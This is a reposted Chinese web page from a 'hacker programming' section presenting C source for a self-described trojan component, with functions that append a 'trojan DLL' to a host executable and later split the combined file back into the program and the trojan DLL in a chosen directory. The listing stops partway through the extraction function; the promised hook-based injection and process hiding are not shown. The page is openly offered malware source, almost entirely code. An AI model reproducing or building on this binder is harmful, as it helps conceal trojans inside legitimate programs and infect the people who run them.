收藏本站 收藏本站
积木网首页 - 软件测试 - 常用手册 - 站长工具 - 技术社区
积木学院 > 黑客技术 > 黑客编程 > 正文

自己写的木马之木马DLL注入程

来源:互联摘选 日期:2008-11-21 21:20

/******************************************************
名称:木马DLL注入程序
功能:调用系统钩子将木马DLL注入宿主线程
作者:薛峰
日期:2004-6-22
说明:进程的隐藏,本程序使用大量API,请参考MSDN
******************************************************/

#include "stdafx.h"
#include <TLHELP32.H>
#include "..\\Include\\DataStruct.h"

//EXE文件名称
CHAR g_ExeName[51];

//木马DLL文件名
CHAR g_CockName[51];

//获取Exe文件名称*.exe
void GetModuleNameEx(LPTSTR buf)
{
 CHAR path[MAX_PATH];
 
 if (GetModuleFileName(::GetModuleHandle(NULL), path, MAX_PATH))
 {
  LPTSTR p = strrchr(path, 92);
  strncpy(buf, &p[1], strlen(p + 1));
  strncat(buf, "", 1);
 }
}

//病毒文件合并程序(API版)  New!
DWORD UniteFileExA(LPCSTR lpProgFile, LPCSTR lpCockFile)
{
 HANDLE hProg = NULL, hCock = NULL;
 FILEDIS FileDis;
 DWORD dwProg = 0, dwCock = 0, dwNumber = 0;
 CHAR * cBufCock = NULL;

 memset(&FileDis, 0, sizeof(FILEDIS));
 //保存文件名
 strncpy(FileDis.FileIdentifier, FILEIDENTIFIER, strlen(FILEIDENTIFIER));
 strncpy(FileDis.ProgName, lpProgFile, strlen(lpProgFile));
 strncpy(FileDis.CockDLLName, lpCockFile, strlen(lpCockFile));
 //分解标识置0
 FileDis.IsFileReduced = 0;
 //打开文件,调用失败则返回
 hProg = CreateFile(lpProgFile, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if (hProg == INVALID_HANDLE_VALUE)
 {
  return 0;
 }
 hCock = CreateFile(lpCockFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL, NULL);
 if (hCock == INVALID_HANDLE_VALUE)
 {
  return 0;
 }
 //EXE文件大小
 dwProg = GetFileSize(hProg, NULL);
 //木马程序DLL文件大小
 dwCock = GetFileSize(hCock, NULL);
 //保存到文件头记录中
 FileDis.ProgSize = dwProg;
 FileDis.CockDLLSize = dwCock;
 //为DLL文件申请数据缓冲区,读取数据用
 cBufCock = new CHAR[dwCock + 1];
 //文件指针移动到EXE文件末尾
 if (SetFilePointer(hProg, 0, NULL, FILE_END) == 0xFFFFFFFF)
 {
  return 0;
 }
 //读取木马DLL文件体数据到缓冲区
 if (!ReadFile(hCock, cBufCock, dwCock, &dwNumber, NULL))
 {
  return 0;
 }
 //写入木马程序DLL文件体
 if (!WriteFile(hProg, cBufCock, dwCock, &dwNumber, NULL))
 {
  return 0;
 }
 //文件头数据写入合并文件的尾部
 if (!WriteFile(hProg, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
 {
  return 0;
 }
 //关闭文件指针
 CloseHandle(hProg);
 CloseHandle(hCock);
 //释放内存
 delete[] cBufCock;
 return 1;
}

//病毒文件分解程序(API版),同时能将自身拷贝到指定到目录下。  New!
DWORD ReduceFileExA(LPCSTR ProgName, LPCSTR DestFileDir)
{
 HANDLE hProg = NULL, hProgDest = NULL, hCock = NULL, hTemp = NULL;   
 FILEDIS FileDis;
 LONG lStruct = 0;
 DWORD dwNumber = 0, dwUnite = 0; 
 CHAR * cBufProg = NULL, * cBufCock = NULL, * BufTemp = NULL;
 CHAR ProgFilePath[MAX_PATH], CockFilePath[MAX_PATH], TempFilePath[MAX_PATH];

 memset(&FileDis, 0, sizeof(FILEDIS));
 //首先打开合并文件
 hProg = CreateFile(ProgName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL, NULL);
 if (hProg == INVALID_HANDLE_VALUE)
 {
  return 0;
 }
 lStruct = sizeof(FILEDIS);
 lStruct = -lStruct;
 //文件指针从尾部向前移动
 if (SetFilePointer(hProg, lStruct, NULL, FILE_END) == 0xFFFFFFFF)
 {
  return 0;
 }
 //读取文件头
 if (!ReadFile(hProg, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
 {
  return 0;
 }
 //检查文件是否合法
 if (strncmp(FileDis.FileIdentifier, FILEIDENTIFIER, strlen(FILEIDENTIFIER)) != 0)
 {
  return 0;
 }
 //分配内存,申请数据缓冲区
 cBufProg = new CHAR[FileDis.ProgSize + 1];
 cBufCock = new CHAR[FileDis.CockDLLSize + 1];
/************************************************************************************
//  创建目标文件路径
// INT iLen = strlen(DestFileDir);
// strncpy(ProgFilePath, DestFileDir, iLen);
// strncat(ProgFilePath, "\\", 1);
// strncat(ProgFilePath, FileDis.ProgName, strlen(FileDis.ProgName));
// strncpy(HookFilePath, DestFileDir, iLen);
// strncat(HookFilePath, "\\", 1);
// strncat(HookFilePath, FileDis.HookDLLName, strlen(FileDis.HookDLLName));
// strncpy(CockFilePath, DestFileDir, iLen);
// strncat(CockFilePath, "\\", 1);
// strncat(CockFilePath, FileDis.CockDLLName, strlen(FileDis.CockDLLName));
*************************************************************************************/
 strcpy(ProgFilePath, DestFileDir);
 strcat(ProgFilePath, "\\");
 strcat(ProgFilePath, FileDis.ProgName);
 strcpy(CockFilePath, DestFileDir);
 strcat(CockFilePath, "\\");
 strcat(CockFilePath, FileDis.CockDLLName);
 //创建并打开EXE文件
 hProgDest = CreateFile(ProgFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW,
  FILE_ATTRIBUTE_NORMAL, NULL);
 if (hProgDest == INVALID_HANDLE_VALUE)
 {
  return 0;
 }
 //创建并打开木马DLL文件
 hCock = CreateFile(CockFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW,
  FILE_ATTRIBUTE_NORMAL, NULL);
 if (hCock == INVALID_HANDLE_VALUE)
 {
  return 0;
 }
 //文件指针移动到开始
 if (SetFilePointer(hProg, 0, NULL, FILE_BEGIN) == 0xFFFFFFFF)
 {
  return FALSE;
 }
 //读取合并文件中的EXE文件体数据
 if (!ReadFile(hProg, cBufProg, FileDis.ProgSize, &dwNumber, NULL))
 {
  return 0;
 }
 //读取合并文件中的木马DLL文件体数据
 if (!ReadFile(hProg, cBufCock, FileDis.CockDLLSize, &dwNumber, NULL))
 {
  return 0;
 }
 //将EXE数据写入新创建的EXE文件
 if (!WriteFile(hProgDest, cBufProg, FileDis.ProgSize, &dwNumber, NULL))
 {
  return 0;
 }

推荐阅读

 

热点信息

 
强悍的草根IT技术社区,这里应该有您想要的! 友情链接:b2b电子商务
Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号